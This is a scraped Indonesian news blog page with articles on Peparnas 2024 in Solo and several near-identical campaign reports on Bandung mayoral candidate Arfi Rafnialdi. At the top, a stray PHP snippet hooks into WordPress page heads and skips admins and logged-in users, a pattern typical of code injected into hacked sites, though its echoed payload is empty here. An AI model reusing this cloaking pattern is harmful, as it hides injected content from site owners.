Blog
?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);-
Pengalaman Berharga Relawan di Peparnas Solo
VISTA NUSANTARA — Relawan mengaku mendapatkan motivasi dan pengalaman berharga dari Pekan Paralimpiade Nasional (Peparnas) 2024 di Solo.“Penasaran terhadap para atlet disabilitas yang bertanding. Mereka punya semangat tinggi walaupun memiliki keterbatasan. Untuk itu, saya mendaftar untuk menjadi relawan,” kata Akbar di Solo pada Selasa.Untuk Peparnas yang keenam kalinya diadakan di Solo itu, Panitia Besar (PB) Peparnas merekrut relawan guna memberikan dukungan di area kompetisi dan non-kompetisi.Relawan juga ditugaskan memberikan bantuan kepada tim dan ofisial, penonton, dan panitia lokal di berbagai bidang, termasuk transportasi, akreditasi, media, layanan tamu, dan layanan penonton.Menurut Akbar, relawan yang terpilih diwajibkan mengikuti pelatihan dasar kerelawanan dan edukasi mengenai disabilitas. Pelatihan itu meliputi cara berinteraksi, berkomunikasi, kepekaan diri, dan bentuk-bentuk edukasi lain.“Ada pembekalan yang harus diikuti agar (relawan) memiliki pengetahuan dasar disabilitas, kemudian pengetahuan dasar cara berkomunikasi dan intonasi,” kata Akbar.“Istilahnya, bagaimana cara menjadi relawan yang baik. Kemudian, akan ada spesifik training jadi mereka ditempatkan di bagian pertandingan, kedatangan, kepulangan, upacara pembukaan dan lainnya.”Sementara itu, Eka yang mahasiswi Universitas Muhammadiyah Surakarta, menilai keikutsertaannya dalam Peparnas 2024 untuk menambah pengalaman.“Karena diajak sepupu untuk ikut dan katanya dapat uang saku. Kebetulan, saya juga belum pernah menjadi relawan di acara seperti ini,” kata Eka.Peparnas 2024 menjadi Peparnas terbesar dari jumlah provinsi yang mengikutnya, melampaui 34 provinsi yang mengikuti Peparnas 2016 di Jawa Barat.Jawa Tengah menjadi provinsi dengan kontingen terbanyak setelah mengirimkan 376 atlet, sedangkan Sulawesi Barat mengirimkan jumlah atlet paling sedikit dengan hanya satu atlet.**** -
Kang Arfi Bahas Pengelolaan Sampah dan Transportasi di Bandung
BANDUNG, VISTA NUSANTARA — Pada Senin (07/10/2024), Kompas Group menggelar pertemuan diskusi lintas media yang melibatkan berbagai platform, termasuk Kompas TV dan Radio Raka FM. Diskusi ini membahas berbagai tantangan yang dihadapi Kota Bandung dan mengusulkan solusi inovatif.Peserta sepakat bahwa kemacetan menjadi masalah utama, dan penguatan transportasi umum serta kendaraan ramah lingkungan adalah kunci solusinya. Rencana pembangunan jalur sepeda dan sistem transportasi berbasis aplikasi diusulkan untuk meningkatkan mobilitas.Diskusi juga membahas pengelolaan sampah dengan menyoroti pentingnya penambahan tempat sampah dan kampanye edukasi mengenai pengurangan plastik. Selain itu, para peserta juga membahas usulan pengembangan transportasi alternatif untuk menggantikan angkot, seperti bus rapid transit (BRT).*** -
Diskusi Kang Arfi, Menggagas Solusi Untuk Masalah Bandung
BANDUNG, VISTA NUSANTARA — Pada Senin (07/10/2024), Kompas Group menyelenggarakan diskusi lintas media yang melibatkan berbagai platform, termasuk Kompas TV, Kompas Cetak, dan Radio Raka FM. Dalam pertemuan ini, peserta mendiskusikan masalah yang dihadapi Kota Bandung dan merumuskan solusi inovatif.Salah satu isu utama yang diangkat adalah kemacetan, di mana para peserta sepakat perlunya memperkuat transportasi umum dan mendorong penggunaan kendaraan ramah lingkungan. Rencana pembangunan jalur sepeda dan penerapan sistem transportasi berbasis aplikasi turut diusulkan sebagai langkah konkret.Masalah sampah juga menjadi perhatian, dengan usulan penambahan tempat sampah di berbagai lokasi serta kampanye edukasi untuk mengurangi penggunaan plastik. Dalam hal angkot, diskusi mencakup usulan pengembangan bus rapid transit (BRT) untuk meningkatkan sistem transportasi di Bandung.*** -
Arfi Rafnialdi dan Yena Iskandar, Membangun Bandung Yang Inklusif dan Berkelanjutan
BANDUNG, VISTA NUSANTARA — Pasangan calon Wali Kota dan Wakil Wali Kota Bandung, Arfi Rafnialdi dan Yena Iskandar Ma’soem, menyampaikan komitmen mereka untuk menciptakan Kota Bandung yang nyaman, inklusif, dan berkelanjutan. Dalam kunjungannya ke Babakan Asih pada Senin (7/10/2024), Kang Arfi menyoroti tantangan yang dihadapi warga di daerah padat penduduk ini.Kepada media, Kang Arfi menjelaskan, “Kami akan mengembangkan kawasan permukiman vertikal dengan ruang publik dan fasilitas olahraga untuk meningkatkan kualitas hunian.” Dalam kunjungan tersebut, ia meninjau rumah Mak Sujana, yang dihuni oleh delapan keluarga dan dinilai tidak layak.Pasangan ini juga berfokus pada penguatan ekonomi warga, terutama kaum ibu, dengan memberikan bantuan modal usaha yang tidak memberatkan. “Kami ingin membantu masyarakat tanpa membuat mereka terjerat utang yang menyulitkan,” tambah Kang Arfi.*** -
Pasangan Arfi-Yena Janjikan Solusi Permukiman Layak untuk Warga Bandung
BANDUNG, VISTA NUSANTARA — Calon Wali Kota Bandung, Arfi Rafnialdi, dan calon Wakil Wali Kota, Yena Iskandar Ma’soem, berkomitmen untuk menciptakan Kota Bandung yang nyaman dan berkelanjutan. Dalam kunjungan ke Babakan Asih pada Senin (7/10/2024), mereka menyoroti pentingnya pengembangan sumber daya manusia dan peningkatan kesejahteraan.Kang Arfi mengamati kondisi rumah Mak Sujana, yang dihuni oleh delapan keluarga, dan menilai hunian tersebut tidak memenuhi standar kesehatan. “Kami berkomitmen untuk membantu warga memiliki hunian yang lebih layak, termasuk pengembangan permukiman vertikal yang dilengkapi dengan fasilitas publik,” katanya.
Lebih jauh, pasangan ini berencana memberikan bantuan modal usaha kepada kaum ibu di wilayah tersebut untuk memperkuat ekonomi masyarakat dan mencegah praktik rentenir yang merugikan. “Kami ingin memastikan warga memiliki akses modal usaha yang tidak membebani,” tegas Kang Arfi. ***
-
Kang Arfi – Teh Yena Komitmen Membangun Bandung yang Nyaman dan Berkelanjutan
BANDUNG, VISTA NUSANTARA — Pasangan calon Wali Kota dan Wakil Wali Kota Bandung nomor urut 4, Arfi Rafnialdi dan Yena Iskandar Ma’soem, menegaskan komitmen mereka untuk menciptakan Kota Bandung yang nyaman, inklusif, maju, dan berkelanjutan. Dalam visi dan misi mereka, konsep “nyaman” menjadi fokus utama yang mencakup pengembangan sumber daya manusia dan peningkatan kesejahteraan.Dalam kunjungan ke Babakan Asih, Kecamatan Bojongloa Kaler, pada Senin (7/10/2024), Kang Arfi mengungkapkan tantangan yang dihadapi warga di daerah padat penduduk tersebut. Dengan kepadatan mencapai 40,05 ribu jiwa per kilometer persegi, banyak hunian yang tidak memenuhi standar kesehatan.Kang Arfi menilai kondisi rumah Mak Sujana, yang dihuni oleh delapan keluarga, tidak layak. “Kami berkomitmen membantu warga memiliki hunian yang lebih layak dan nyaman, termasuk mengembangkan permukiman vertikal dengan ruang publik,” ungkapnya.Selain itu, pasangan ini juga berfokus pada penguatan ekonomi, khususnya kaum ibu di Babakan Asih, dengan menyediakan bantuan modal usaha yang tidak membebani masyarakat. *** -
Kang Arfi Rafnialdi Diskusikan Solusi Inovatif Atasi Masalah Kota
BANDUNG, VISTA NUSANTARA — Kompas Group menyelenggarakan pertemuan diskusi lintas media yang melibatkan Kompas TV, Kompas Cetak, Kompas Online, dan Radio Raka FM, Senin (07/10/2024).Diskusi ini membahas sejumlah permasalahan yang dihadapi Kota Bandung dan mengusulkan solusi inovatif untuk mengatasinya. Berikut poin-poin utama dari diskusi:1. Solusi Kemacetan Kota BandungPara peserta sepakat memperkuat transportasi umum dan mendorong penggunaan kendaraan ramah lingkungan. Solusi yang diusulkan termasuk pembangunan jalur sepeda serta penerapan sistem transportasi berbasis aplikasi untuk memudahkan mobilitas warga.2. Pengelolaan Sampah Kota BandungMasalah sampah juga menjadi fokus pembahasan, dengan usulan penambahan tempat sampah di berbagai lokasi strategis. Selain itu, kampanye edukasi masyarakat mengenai pengurangan penggunaan plastik diharapkan dapat meningkatkan kesadaran lingkungan.3. Permasalahan AngkotSehubungan dengan rencana penghapusan angkot, Kompas Group mengusulkan pengembangan transportasi alternatif, seperti bus rapid transit (BRT), yang lebih modern dan terintegrasi guna mengatasi kebutuhan mobilitas masyarakat.4. Solusi Ekonomi: Bank EmokUntuk memperbaiki kondisi ekonomi, diskusi menyoroti pentingnya memberantas praktik pinjaman informal atau “Bank Emok.” Sebagai gantinya, dibahas pembentukan lembaga keuangan mikro untuk memberikan akses permodalan bagi pelaku usaha kecil.5. Penataan Kawasan Padat PendudukPenataan kawasan padat penduduk juga menjadi isu penting. Para peserta sepakat perlunya rencana tata ruang yang baik, termasuk pembangunan rumah susun, agar kualitas hunian warga dapat meningkat dan infrastruktur kawasan tersebut lebih memadai.Diskusi ini diharapkan menjadi langkah awal menuju perbaikan berbagai aspek kehidupan di Kota Bandung, dengan melibatkan kolaborasi antara masyarakat dan pihak-pihak terkait untuk mewujudkan solusi yang nyata.. *** -
Arfi Rafnialdi Temui Aa Gym, Harapkan Restu Untuk Pilkada
BANDUNG, VISTA NUSANTARA — Calon Wali Kota Bandung, Arfi Rafnialdi, mengunjungi KH. Abdullah Gymnastiar (Aa Gym) di Pesantren Daarut Tauhiid, yang terletak di Jalan Gegerkalong Tengah, pada Jumat (4/10/2024). Dalam pertemuan tersebut, Arfi meminta nasehat serta doa restu dari Aa Gym untuk mendukung langkahnya dalam Pilkada Bandung 2024.Arfi mengungkapkan bahwa dukungan dari Aa Gym sangat berpengaruh dalam meningkatkan semangat dan motivasinya. “Doa dan nasehat dari Aa Gym sangat berarti bagi saya untuk melangkah maju dalam kompetisi ini,” kata Arfi.Aa Gym pun menyampaikan dukungannya dan berpesan agar Arfi dapat menjalankan visi dan misinya demi kebaikan masyarakat Bandung. *** -
200 Pemain dari 30 Provinsi Meriahkan Para-Bulu Tangkis di Peparnas XVII Solo 2024
VISTA NUSANTARA — Cabang olahraga para-bulu tangkis hanya mempertandingkan kelas standing beregu putra di hari pertama pelaksanaan Pekan Paralimpiade Nasional (Peparnas) XVII Solo 2024.“Di hari pertama ini memang dari kebiasaan Peparnas sebelumnya, hanya mempertandingkan kelas beregu putra, kelas standing, tidak ada kelas lain,” kata Ketua Dewan Referee Para Badminton Peparnas Muhammad Nur Rahman di Solo, Jawa Tengah, Senin.Menurut dia, hari pertama fokus mempertandingkan kelas beregu putra sebagai upaya untuk menghindari pemain terlalu lelah.“Karena kalau dicampur dengan kelas perorangan, sudah main di beregu, kalau menang nanti bisa main tiga kali. Kalau tambah perorangan lagi pasti capeknya luar biasa,” katanya.Sementara itu, dikatakannya, untuk pertandingan beregu ini meliputi kelas SL3, SL4, dan SU5.“Kalau untuk SH6 tidak ada kelas beregu, termasuk wheelchair juga tidak ada kelas beregu,” katanya.Untuk beregu single pertama SL3 dan SL4 meliputi tingkat hambatan kaki yang lemah. Sedangkan di SU5 ada hambatan lemah di tangan atau kelas amputasi.Secara total, pada para bulu tangkis ada sebanyak 36 nomor yang dipertandingkan. Perebutan emas akan dilakukan pada hari keempat dan kelima.“Perebutan emas Jumat-Sabtu, karena kan mainnya banyak, 36 nomor. Kalau final jadi satu terlalu banyak, sehari sampai malam,” katanya.Sedangkan total jumlah pemain yang mengikuti cabang olahraga tersebut ada lebih dari 200 orang dari 30 provinsi.“Termasuk juga ada Papua Barat dan Papua Barat Daya. Ini menarik, karena biasanya di sana minim pemain bulu tangkis. Saya juga kaget. Ini merupakan satu gambaran bahwa ada peningkatan, dulu enggak ada, namun sekarang ada,” katanya.*** -
Peparnas XVII Resmi Dibuka, Seniman Disabilitas dan Godbless Hibur Ribuan Penonton
VISTA NUSANTARA — Sejumlah seniman penyandang disabilitas tampil pada pembukaan Pekan Paralimpiade Nasional (Peparnas) XVII Solo 2024 di Stadion Manahan Surakarta, Jawa Tengah, Minggu.Sebagai pembuka, ada penampilan dari Prihantoro Anton yang menyanyikan lagu Indonesia Raya. Selanjutnya, ada penampilan drummer asal Manado Rionaldo Halir. Rionaldo yang merupakan penyandang disabilitas fisik bermain apik dengan gitaris tuna netra Agung GTR.Keduanya berkolaborasi mengiringi tiga penyanyi Trias Ferbiana, Janet Huawe, dan Eta Novita yang menyanyikan lagu berjudul Kutidhieng, Lagu Aku Papua, Solo di Waktu Malam, dan Indonesia Pusaka.Mereka sekaligus mengiringi penampilan sebanyak 100 penari yang membawakan tarian hasil koreografi dari Agung Kusumo.Meski memiliki keterbatasan fisik, kondisi tersebut tidak mempengaruhi mereka saat tampil di depan ribuan penonton.Selanjutnya, Prihantoro kembali tampil menyanyikan lagu mars olahraga Kami Patriot Olahraga. Para seniman tersebut tampil di depan Presiden Joko Widodo dan Ibu Negara Iriana Joko Widodo.Sementara itu, tema Nusantara Menembus Batas yang diangkat dalam upacara pembukaan ini menyampaikan pesan bahwa dengan semangat yang tak pernah padam seseorang bisa meraih cita-cita yang diinginkan.Selanjutnya, pembukaan tersebut ditutup oleh penampilan dari kelompok musik legendaris Godbless. Pada kesempatan itu, Godbless menyanyikan lagu Rumah Kita dan Semut Hitam.Beberapa pejabat negara yang hadir pada pembukaan tersebut, di antaranya Presiden Jokowi dan Ibu Negara Iriana Joko Widodo, Menpora Dito Ariotedjo, dan Penjabat Gubernur Jateng Nana Sudjana.Selain seniman, hadir pula atlet para bulutangkis Leani Ratri Oktila, Hikmat Ramdani, dan Fredy Setiawan, serta atlet para atletik Saptoyogo Purnomo dan Karisma Evi Tiarani yang melakukan estafet obor bersama sejumlah atlet lain.Lalu dua atlet dari cabang olahraga para tenis meja Anas dan para atletik Farid menjadi dua orang terakhir yang bertugas menyalakan obor di cauldron.***






.png)
.png)

